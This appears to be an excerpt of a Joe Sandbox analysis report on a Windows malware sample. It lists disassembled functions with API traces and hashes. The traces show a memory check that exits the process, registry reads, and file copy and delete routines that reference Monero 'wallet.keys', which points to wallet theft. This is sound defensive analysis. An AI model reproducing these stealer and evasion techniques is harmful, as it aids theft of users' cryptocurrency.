Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 94e21502b5072fb43bff30b8ffbcf73d79a4bc5f1e4c572a08c92abe13dd41fe
Instruction ID: 3199a661e540aa8da9a41e30de25da32e67157bb77bd990dbbbbe35ce61993b4
Opcode Fuzzy Hash: 94e21502b5072fb43bff30b8ffbcf73d79a4bc5f1e4c572a08c92abe13dd41fe
Instruction Fuzzy Hash: 3E3182B690031857CB25F7A0DC85EED73BCBB58300F40559AB359A6181EEB0D7CACB91

Function 00EC1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EC123E
__aulldiv.LIBCMT ref: 00EC1258
__aulldiv.LIBCMT ref: 00EC1266
ExitProcess.KERNEL32 ref: 00EC1294

Strings

@, xrefs: 00EC1233

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 55ddfa6102ad97908fad552aa2bb59df5b95bb2dd0aa7a41cf91ba7fd90f5aaf
Instruction ID: 7a803a1b611b289c94e5370dea8e0f6004e78349a33670d11223df9db4607408
Opcode Fuzzy Hash: 55ddfa6102ad97908fad552aa2bb59df5b95bb2dd0aa7a41cf91ba7fd90f5aaf
Instruction Fuzzy Hash: 1601A2B0D44308BAEB14EBD0CD49FADB7B8EF00705F208049F705B62C1D7B555428798

Function 00ED70D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

memset.MSVCRT ref: 00ED716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00ED718C
s, xrefs: 00ED7111, 00ED7114
s, xrefs: 00ED72AE, 00ED7179, 00ED717C

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-3520659465
Opcode ID: 2494993cc8f2cb86e4ee85ed0ddc75e6d8c8ac625583504e234239ce2aa581a8
Instruction ID: e089b43405331a526d2e00452842884a0a92d651587d17677f82205de8b70d9f
Opcode Fuzzy Hash: 2494993cc8f2cb86e4ee85ed0ddc75e6d8c8ac625583504e234239ce2aa581a8
Instruction Fuzzy Hash: 50518EB0C042189FDB24EB90DD86BEEB3B4EF44304F1461AAE55576281EB742F8ACF55

Function 00ED7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7E3E
RegOpenKeyExA.KERNEL32(80000002,00A8BEC0,00000000,00020119,?), ref: 00ED7E5E
RegQueryValueExA.KERNEL32(?,00A9DB40,00000000,00000000,000000FF,000000FF), ref: 00ED7E7F
RegCloseKey.ADVAPI32(?), ref: 00ED7E92

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 007fdf27ef563ed927eeecfe17581f288b63970d9869bb27744a120ae13f486e
Instruction ID: 5268385cbab7b6c70f15a156a76aecaa4c50749789d7f306e1b3ecb5bc295736
Opcode Fuzzy Hash: 007fdf27ef563ed927eeecfe17581f288b63970d9869bb27744a120ae13f486e
Instruction Fuzzy Hash: E71191B1E44309EBD714CF94E849FBBBBB8EB44701F10412AFA15A7284D7B459418BA0

Function 00EC12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EC12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00EC12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00EC12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EC12F5
RegCloseKey.ADVAPI32(?), ref: 00EC12FF

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 286a92fd892f9a48d61915f8e23d1781799d93cdb0e121fd449c0fed4b7bd35c
Instruction ID: 74e9d79871d32d4014e98ee9526800f8cdb3de1c2f0f8afa65317c6abc6db132
Opcode Fuzzy Hash: 286a92fd892f9a48d61915f8e23d1781799d93cdb0e121fd449c0fed4b7bd35c
Instruction Fuzzy Hash: B40131B9E40308BBDB14DFE0E849FAEB7B8EF48701F008169FA1597284D6B19A418F50

Function 00ECA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00A99028,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00ECA0BD
LoadLibraryA.KERNEL32(00A9DB60), ref: 00ECA146

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

SetEnvironmentVariableA.KERNEL32(00A99028,00000000,00000000,?,00EE12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00EE0AFE), ref: 00ECA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00ECA0B2, 00ECA0C6, 00ECA0DC

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 30e63d93daf08790870efb00d3a6c4cd5ab6b178e0112f0a0c13a935b4105ec1
Instruction ID: 8c7a2516f1800ac5c8a38618ab499b59255a6116d5d3b7b62cfd952f12c2d365
Opcode Fuzzy Hash: 30e63d93daf08790870efb00d3a6c4cd5ab6b178e0112f0a0c13a935b4105ec1
Instruction Fuzzy Hash: 3B414BB1C013049FCB2EDFA4FD56BAA33B8BF48305F141139E415A3294DBB55986CB51

Function 00ECA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,00A9A900,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00ECA3FF
lstrlen.KERNEL32(00000000), ref: 00ECA6BC

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

DeleteFileA.KERNEL32(00000000), ref: 00ECA743

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 64fbf7d64da04d93234c1eea5536e9685de1b2a69a9168b56ed3baf23867de35
Instruction ID: 933f0ee14168822beb241504e4304776972b6c928c29e60ca4ea4ea69b6cb321
Opcode Fuzzy Hash: 64fbf7d64da04d93234c1eea5536e9685de1b2a69a9168b56ed3baf23867de35
Instruction Fuzzy Hash: E1E16D76C101089ACB09FBA0EC96EEE7378EF54300F54917AF41672191EF706B4ADB66

Function 00ECD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,00A9A900,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECD801
lstrlen.KERNEL32(00000000), ref: 00ECD99F
lstrlen.KERNEL32(00000000), ref: 00ECD9B3
DeleteFileA.KERNEL32(00000000), ref: 00ECDA32

Memory Dump Source

